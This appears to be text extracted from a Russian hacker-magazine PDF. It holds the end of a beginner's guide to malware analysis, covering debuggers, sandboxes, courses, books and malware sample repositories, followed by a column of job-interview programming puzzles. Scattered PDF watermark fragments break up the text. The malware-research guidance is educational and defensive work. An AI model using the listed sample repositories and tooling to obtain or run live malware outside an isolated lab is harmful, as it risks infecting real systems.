INetSim — это инструмент для Linux, позволяющий анализировать вредоносные программы, моделируя наиболее распространенные интернет-сервисы, такие как HTTP, HTTPS, DNS, FTP и многие другие.

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MALWARE

 

 

 

df-x han

 

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

 

e

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

e

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

REVERSINGНачало статьи

MALWARE

ДЛЯ НАЧИНАЮЩИХ

ЧАСТЬ 0: ВВЕДЕНИЕ В РЕМЕСЛО

3. Специализированные инструменты для продвинутого анализа

OllyDbg, лидер среди отладчиков

ОтладчикOllyDbg

Согласно описанию автора, это отладчик со встроенным 32-битным ассемблером и интуитивным интерфейсом. Поддерживает все инструкции вплоть до SSE. Также к нему есть SDK для разработки плагинов. OllyDbg выгодно отличается от классических отладчиков (таких, как устаревший SoftICE) интуитивно понятным интерфейсом, подсветкой специфических структур кода, простотой в установке и запуске. По этим причинам OllyDbg рекомендуют к использованию даже новичкам. Очень приятная утилитка. Кстати, если ты старый читатель нашего журнала, то ты наверняка заметил термин «устаревший», который мы применили к каноническому SoftICE. Вынужден признаться, что это правда. SoftICE действительно довольно раритетный отладчик уровня ядра, Syser Kernel Debugger в настоящий момент наиболее актуальная альтернатива. Тем не менее из уважения к Крису Касперски чуть ниже мы посвятим пару слов и SoftICE :).

Кстати, OllyDbg работает исключительно с x32 исполняемыми файлами. Для х64 обрати внимание на x64dbg.

WinDbg, отладчик уровня ядра под Windows

ОтладчикWinDbg

Многоцелевой отладчик для ОС Windows WinDbg распространяется самой компанией Microsoft. Он может быть использован для отладки приложений

врежиме пользователя, драйверов устройств и самой операционной системы

врежиме ядра. Имеет графический пользовательский интерфейс (GUI), подробную справку и множество адаптаций.

Старый добрый отладчик SoftICE

ОтладчикSoftICE

SoftICE — отладчик режима ядра для ОС Windows. Программа была разработана для управления процессами на низком уровне Windows, причем таким образом, чтобы операционная система не распознавала работу отладчика.

Легендарный дизассемблер IDA Pro

Дизассемблер IDAPro

IDA Pro Disassembler — интерактивный дизассемблер, который широко используется для реверс-инжиниринга. Отличается исключительной гибкостью, наличием встроенного командного языка, поддерживает множество форматов исполняемых файлов для большого числа процессоров и операционных систем. Позволяет строить блок-схемы, изменять названия меток, просматривать локальные процедуры в стеке и многое другое.

Дистрибутив для форензики REMnux

ОС для форензики REMnux

REMnux — это специализированный Linux-дистрибутив, построенный на пакетной базе Ubuntu. Дистрибутив предназначен для изучения и обратного инжиниринга кода вредоносных программ. REMnux обеспечивает изолированное лабораторное окружение, в котором можно эмулировать работу атакуемого сетевого сервиса и изучать поведение вредоносного ПО в условиях, приближенных к реальным. В комплект дистрибутива включены инструменты для анализа вредоносного ПО, утилиты для проведения обратного инжиниринга кода, программы для изучения модифицированных злоумышленниками PDF и офисных документов, средства мониторинга активности в системе.

4. Песочницы и изолированные среды

Cuckoo Sandbox — песочница из мира open source с открытым исходным кодом программного обеспечения для автоматизации анализа подозрительных файлов.

DroidBox — песочница предназначена для динамического анализа приложений под Android.

Malwasm — это мощный инструмент, основанный на Cuckoo Sandbox и призванный помочь исследователям проводить анализ кода шаг за шагом, документировать все выполняемые события и составлять детальный отчет обо всех действиях вредоносных программ.

Более подробное описание инструментов можно получить на GitHub.

ОБЗОР УЧЕБНЫХ КУРСОВ, ТРЕНИНГОВ, САЙТОВ,

РЕПОЗИТОРИЕВ

Открытые университеты и курсы по обучению исследованию malware-кода

Можно найти довольно много полезного материала и, что очень важно, практических заданий для совершенствования своих скиллов в данном направлении.

1.Malware Analysis Tutorials: a Reverse Engineering Approach (Author: Dr. Xiang Fu) — это настоящий кладезь знаний, руководство, описывающее методический подход к реверсу вредоносного кода с основ до глубокого анализа. Один из самых лучших материалов в открытом доступе. Тем, кто хочет понять концептуальные основы анализа и общую методологию исследования, к прочтению обязательно!

2.Переводнарусскийописанноговышедокумента,представленныйProsper-H, coldfire, ximera. Подойдет тем, кто пока что плохо понимает английский.

3.Онлайн-курс Free Malware Analysis Training Class from Cybrary, состоящий из семи обучающих модулей, построенных по принципу от простого к сложному, включает в себя все основные темы: статический и динамический анализ, расширенный анализ, распаковка и практические лабораторные работы. Полный курс длится девять часов, после него можно сдать сертификационный экзамен.

4.Cheat Sheet for Analyzing Malicious Software от Ленни Зельцера (Lenny Zeltser) — несколько небольших шпаргалок по анализу вредоносного ПО.

Наиболее интересные платные обучающие курсы

1.Платный курс от университета SANS под названием FOR610: ReverseEngineering Malware: Malware Analysis Tools and Techniques. Курс рассчитан на четыре месяца обучения, состоит из шести обучающих модулей, каждый подкреплен практическими работами. Затрагиваются темы: компьютерная форензика, первичный и детальный анализ вредоносного ПО, использование утилит мониторинга сети, дизассемблера, отладчика и многих других полезных инструментов. Курс обойдется в кругленькую сумму от 5000 USD.

2.Платный обучающий курс от компании FireEye рассказывает с самых основ о техниках быстрого и продвинутого анализа малвари. На сайте можно ознакомиться с программой курса. Сам курс рассчитан как на новичков, так и на более продвинутых слушателей, длится от двух до четырех дней и включает в себя теоретический и практически материал.

3.Еще один платный курс от компании ThreatTrack демонстрирует возможности анализа малвари с использованием специально разработанного компанией инструмента — песочницы ThreatAnalyzer. Для зарегистрированных пользователей существует возможность попробовать 30-дневную три- ал-версию.

Форумы

1.Tuts 4 You — англоязычный форум, один из самых популярных и авторитетных среди подобных, целиком посвящен вопросам реверсинга ПО, в том числе анализу вредоносов. Имеется и русскоязычная ветка, где обитает большое количество соотечественников, готовых поделиться опытом и образцами.

2.eXeL@B — крупнейший форум в русскоязычном сегменте сети, также целиком сфокусированный на изучении и анализе программ, реверсинге и всем, что с этим связано.

Авторские сайты и блоги

1.Блог Роберта Галвана, посвященный вопросам безопасности и, в частности, исследованию малвари. Автор разместил несколько статей с описанием анализа.

2.Авторский сайт Мэтта Бриггса и Франка Поца (Matt Briggs & Frank Poz), целиком посвященный изучению реверсинга вредоносного ПО. На сайте есть цикл лекций по двухдневному тренингу. Для скачивания доступны лекционные материалы, презентации и образцы исследуемых объектов.

Книги

Книги по исследованию программного обеспечения и обратной разработке — литература весьма специфическая и узкоспециализированная. Поэтому их издано очень мало, и русскоязычных (переводных) среди них единицы. Однако, на радость нам, есть достойные экземпляры.

1. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software.

Книга Practical Malware Analysis представляет собой некое подобие учебного пособия, где подробно описываются рабочие инструменты и техники реверсинга, а в конце почти всех глав приводится список лабораторных работ к изложенному материалу. С каждой новой главой читатель узнает все больше и закрепляет знания на все усложняющихся лабораторных работах.

Доставшаяся мне книга была без CD с лабами, но, как заверяет описание, их можно найти на официальном сайте книги.

2.Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation.

Тоже весьма интересная книга с упором на практический реверс-инжиниринг, нацеленная прежде всего на аналитиков, инженеров по безопасности и системных программистов. В книге рассматриваются архитектуры x86, x64 и ARM, а также детально режим ядра Windows, технологии rootkit, методы обфускации, антиотладочные трюки. Текст насыщен практическими упражнениями и реальными примерами. Книга больше касается именно реверсинга софта, чем анализа малвари, но однозначно пригодится!

3.Reversing: Secrets of Reverse Engineering.

Книга очень похожа на предыдущую — это тоже практическое руководство по реверсингу программного обеспечения. Каждая глава начинается с теории, объяснения тех или иных принципов, подходов, далее демонстрируются примеры практических действий. Иллюстрируются технологии дисассемблирования, разбора машинных инструкций на языке ассемблера. Затронуты вопросы взаимодействия анализируемой программы со сторонними библиотеками. В общем, отличное чтиво!

4.Reverse Engineering for Beginners free book, Денис Юричев.

Книга нашего соотечественника Дениса Юричева (сайт автора).

Очень полезное руководство по реверсингу для начинающих на русском языке. Настоящий кладезь знаний, почти тысяча страниц подробнейшего разбора кода, реальных примеров «вскрытия», особенностей отладки в той или иной ОС, пошаговые руководства к действию. А также упражнения и задачи, которые доступны на сайте.

Полную подборку рекомендуемой литературы можно посмотреть здесь.

Сертификация Certified Reverse Engineering Analyst

Точно так же, как для этичных хакеров есть сертификация CEH от организации Eccouncil, так и для исследователей ПО есть аналогичная Certified Reverse Engineering Analyst (CREA). Согласно описанию, представленному на официальном сайте организации IACRB, слушатель должен пройти двухмесячный курс обучения, после чего необходимо сдать сертификационный экзамен, набрав минимум 210 баллов из возможных 300 (70%) для получения сертификата. На сайте размещена подробная программа курса и продемонстрированы несколько практических работ, которые выполняются на курсе. Более подробно о сер-

тификации CREA можно узнать на официальной страничке.

Инструменты и другой софт для исследователя

1.На сайте команды The Legend Of Random размещено много материалов по реверсингу ПО. Отдельная страничка посвящена инструментам и вспомогательному софту, необходимому для проведения анализа. Все рассматриваемые инструменты доступны для свободного скачивания.

2.Компания AlienVault разместила на своем сайте страничку с описанием софта,

используемого в нашем деле. Приведено подробное описание к каждому инструменту, скриншот и ссылка на источник, откуда программу можно загрузить.

3.Файловый архив eXeL@B, наверное, самый большой и полный набор крекерских инструментов из тех, что я когда-либо встречал. Более того, каждую программу, документацию, плагины и дополнения можно свободно скачать с сайта лаборатории. Для тех, у кого такая возможность отсутствует, есть вариант заказать копию сайта на DVD.

DANGER

Будь осторожен при скачивании и распаковке архивов с malware

на компьютер. Все исследования выполняй только в изолированной виртуальной среде! Не выполняй действий, в которых на 100% не уверен!

Репозитории и базы данных малвари

Настало время поговорить о хранилищах, откуда можно скачать малварь или отдельные семплы для практических занятий. Помни, при скачивании твой антивирус, скорее всего, будет блокировать загрузку, поэтому позаботься об этом заранее. И конечно же, будь осторожен, чтобы случайно не заразить свой компьютер.

1.Contagio Malware Dump — коллекция последних образцов вредоносов.

2.Das Malwerk — свежие наборы вредоносов на любой вкус.

3.KernelMode.info — репозиторий, заточенный под Win32 и rootkit Windows.

4.DamageLab.in — специализированный форум, где можно найти много полезного, в том числе выкладываемые исследователями распакованные и дешифрованные семплы, методики и рекомендации по их анализу.

5.MalwareBlacklist — ежедневно обновляемая доска blacklisted URLs, зараженных малварью.

6.Open Malware — база данных с возможностью поиска вредоносного файла по имени или хешу MD5, SHA-1, SHA-256.

7.ViruSign — база данных малвари, детектируема антивирусом ClamAV.

8.VirusShare — обновляемый репозиторий для исследователей и реверсеров.

Заключение

Теперь, подготовив домашнюю лабораторию и вооружившись рассмотренными в статье инструментами и образцами малвари, можем приступать к практической реализации — анализу кода вредоносного ПО.

Со следующей статьи мы начнем разбираться в реверсе малвари на реальных примерах. Всем удачи в исследованиях!

Редакция журнала выражает благодарность Сергею Харламову, вирусному аналитику «Лаборатории Касперского» за ценные комментарии к тексту статьи.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КОДИНГ

 

 

 

df-x han

 

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

 

 

 

 

e

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Александр Лозовский

ЗАДАЧИlozovsky@glc.ru

НА СОБЕСЕДОВАНИЯХ

ЗАДАЧИ ОТ VIRTUOZZO

И НАГРАЖДЕНИЕ ПОБЕДИТЕЛЕЙ ОТ POSTGRES PROFESSIONAL

Как насчет свежей порции облачных ноябрьских задачек? А вот и нет! Задачки-то обычные, приземленные. «Облач-

ная» — это компания, нам с тобой эти задачи задает. Встречай — Stack Group, которая предоставляет весь спектр соответствующих услуг: IaaS, storage, VDI / VDI GRID, DRaaS

и другие. Облако Stack Group корпоративного класса, построено на базе собственного ЦОД — М1, а также партнерских дата-центров в Москве, Франкфурте и Амстердаме. Как видишь, работодатель большой и завидный :).

ПРИЗЫ И (ВПЕРВЫЕ В НАШЕЙ РУБРИКЕ!) УТЕШИТЕЛЬНЫЕ ПРИЗЫ ОТ STACK GROUP

Первым трем правильно решившим: скидка 50% на IaaS в течение года (а это не шутки).

Утешительные призы первым пяти решившим правильно, но с незначительными неточностями: портативное зарядное устройство для телефона.

ЗАДАЧИ

Исходные данные:

order_header — таблица заголовка заказа:

id

INT DIENTITY(1,1)

Идентификатор таблицы заказа

reg_number

VARCHAR(MAX) NOT NULL

Регистрационный номер заказа

on_date

DATETIME NOT NULL

дата формирования заказа

order_details — таблица деталей заказа:

id

INT IDIENTITY(1,1)

идентификатор строки деталей заказа

hdr_id

INT NOT NULL

идентификатор заказа

good_id

INT NOT NULL

идентификатор товара

amount

DECIMAL(19,4) NOT NULL

количество товара

price

DECIMAL(19,2) NOT NULL

цена за единицу измерения товара для данного заказа

Для реализации на Transact-SQL:

1.Напишите скрипты создания таблиц со связями между собой, скрипты должны пересоздавать таблицы.

2.Выберите все заказы и для каждого заказа выберите строку деталей с максимальной суммарной стоимостью товара в заказе; если детали две, то выбрать одну с максимальной стоимостью единицы товара.

3.Напишите хранимую процедуру, которая выполнит обновление всех заказов с заданной даты @date_from по заданную дату @date_to , в которых присутствует товар с заданным идентификатором @good_id_old , и заменит его на товар с идентификатором @good_id_new (данный товар тоже может уже быть в заказе, его следует также просуммировать с существующим). Задачу необходимо выполнить без использования циклов и курсоров.

4.Выполнить предыдущую задачу, если известно, что записей в таблице очень много (~10 миллионов) и таблица является высоконагруженной.

Для реализации на C#:

1.Напишите отображения двух таблиц в Entity Framework согласно нотации Code First, используя синтаксис Fluent.

2.Напишите выборку LINQ, в которой выберите все заказы и для каждого заказа — строку детали с максимальной суммарной стоимостью товара в заказе; если детали две, то выбрать одну с максимальной стоимостью единицы товара.

Для реализации на ASP.NET MVC 5, синтаксис представления Razor:

1.Напишите форму в представлении с использованием HTML и разметки Razor для редактирования строки создания и редактирования строки заказа.

КУДА СЛАТЬ РЕШЕНИЯ?

Свои варианты ответов шли на pobeditel@stackgroup.ru

НАШ ПОБЕДИТЕЛЬ: JACK BLACK И ЕГО РЕШЕНИЯ

Приз читателю: Virtuozzo Storage на год!

Наши друзья из Virtuozzo подогнали читателю крутой приз — безлимитную по объему триальную лицензию сроком на год. А поскольку формально она триальная, ставить ее можно на несколько кластеров :).

Задание 1 (Приложение: run.c)

Окружение создается с помощью механизмов Linux namespaces. Создаем копию дерева ФС для текущего процесса:

Приватно монтируем /dev/shm, чтобы избежать конфликтов семафоров программы:

Дальше следует обычный exec.

Задание 2 (приложение: json.patch)

Первое, что бросается в глаза, если посмотреть лог strace, — это повторяющиеся системные вызовы каждую итерацию. Например,

Если посмотреть код UUID библиотеки, то можно увидеть

Таким образом, прямой вызов uuid_generate_random() может избавить от лишней проверки. Однако остается комбинация

Решением может стать вызов более низкоуровневой функции __uuid_ generate_random библиотеки с указанием количества элементов. Это дает возможность один раз тратить время на генерацию UUID:

А в цикле делать только преобразования:

Против изначальной издержки итерации:

Конкретно в случае данной программы можно отказаться от использования JSON-библиотеки:

в пользу форматированного вывода:

Результирующий патч в приложении.

Задание 3 (приложение: buils.sh)

Пример вызова скрипта:

./build.sh -f task2.sfx -n task2 -r 3

./build.sh -f task2.sfx -n task2 -r 3

К сожалению, под рукой была только Ubuntu, делал на ней.

РАЗБОР РЕШЕНИЯ ЗАДАЧ ОТ ПОБЕДИТЕЛЯ: КОММЕНТИРУЕТ ЮРИЙ ПУДГОРОДСКИЙ

Задание 1

В задании требуется понять с помощью strace, отладчика или еще каким-ли- бо способом, как процессы конфликтуют друг с другом. По итогам запуска strace можно определить, что процесс использует именованные posix semaphore и shared memory объекты. В результате параллельно исполняющиеся процессы конкурируют за имя вновь созданных объектов, только первый создавший объекты может успешно работать.

Очевидное решение — создать такое runtime-окружение для каждого процесса, в котором пространство имен posix semaphore объектов не пересекается. Ранее для таких задач пользовались методом runtime interception системного или библиотечного вызова. В перехваченном вызове подменяли имя на уникальное для каждого процесса. Одно из таких решений — определение собственных shm_open() и sem_open() через LD_PRELOAD, подстановка уникального имени с PID процесса как части имени и затем вызов оригинального API через RTLD_NEXT.

С появлением в Linux специальной файловой системы с точкой монтирования /dev/shm, в пространстве имен которой находятся все semaphore и shared memory объекты, а также per-process namespace для mount points, решение может более простым и идеологически общим. В нем мы создаем приватный mount namespace для child process, монтируем в нем свой собственный экземпляр /dev/shm и исполняем в таком окружении timer process.

Именно такое решение в современном стиле process namespaces было выполнено кандидатом — на 100% корректное и элегантное.

ЗАДАНИЕ 2

Аналогично первому заданию предполагается инструментальное runtime-про- филирование с помощью strace и compile-time профилирование для определения узкого места алгоритма. Для начала можно запустить исследуемую программу под time и обратить внимание на соотношение времени исполнения в режиме ядра и пользовательском. Время исполнения в ядре оказывается сравнимым по порядку с пользовательским, что дает нам основание говорить об узком месте, связанном с использованием системных вызовов. Профилирование с помощью strace это подтверждает, также мы получаем не только время исполнения, но и некоторое представление о задаче, решаемой с помощью этих вызовов.

Им оказывается алгоритм генерации случайных UUID, основанный на применении стандартной 3rd party библиотеки libuuid. В процессе генерации libuuid открывает /dev/urandom интерфейс к генератору случайных чисел, предоставляемому ядром Linux, читает необходимое количество случайных данных, закрывает FD и создает случайный UUID на полученной основе. Дальнейшее исследование показывает, что узким местом оказывается именно производительность /dev/urandom. Оптимизации, связанные с устранением многократного повторения stat() или даже модификация исходного текста, чтобы устранить open()/close() для каждого UUID, лишь незначительно снижают общее время. Никакой другой интерфейс, предоставляемый libuuid, не позволяет генерировать большое количество UUID с высокой скоростью.

Решением проблемы может быть использование своего userspace генератора случайных чисел с высокой производительностью и принятие специальных мер для уникальности UUID из разных процессов (примешивание к pseudo-random-данным PID процесса, высокоточной метки времени и так далее). Другими словами, своя собственная реализация UUID-генератора.

После устранения libuuid и обращений к /dev/urandom профилирование покажет, что основная часть userspace-исполнения приходится на JSON-би- блиотеку. Ее замена на простой форматный printf() дает ускорение приблизительно в три раза и может считаться оправданной в подобных случаях.

Решение кандидата выполнено по двум пунктам из трех, итого оценка 66% из 100% возможных:

анализ и профилирование — complete;

замена /dev/urandom на userspace pseudo-random — not complete;

оптимизация JSON-форматирования — complete.

ЗАДАНИЕ 3

Не самое интересное задание, проверяющее умение пакетировать RPM

искриптово-интеграционные способности.

Взадаче не предполагалось кодирование на языке С, наиболее оптимальным будет автоматический скрипт на Shell/Bash/Python или другом подходящем скриптовом языке. Использование изолированного окружения при запуске самораспаковывающегося исполняемого файла необязательно, так как оно явно не требуется в техническом задании, но может быть обосновано соображениями безопасности.

Решение кандидата — без изоляции процесса распаковки, но с помощью профессионально оформленного скрипта на Bash. 100%.

IT-КОМПАНИИ, ШЛИТЕ НАМ СВОИЗАДАЧКИ!

Миссия этой мини-рубрики — образовательная, поэтому мы бесплатно публикуем качественные задачки, которые различные компании предлагают соискателям. Вы шлете задачки на lozovsky@glc.ru — мы их публикуем. Никаких актов, договоров, экспертиз и отчетностей. Читателям — задачки, решателям — подарки, вам — респект от нашей многосоттысячной аудитории, пиарщикам — строчки отчетности по публикациям в топовом компьютерном журнале.

Соседние файлы в папке журнал хакер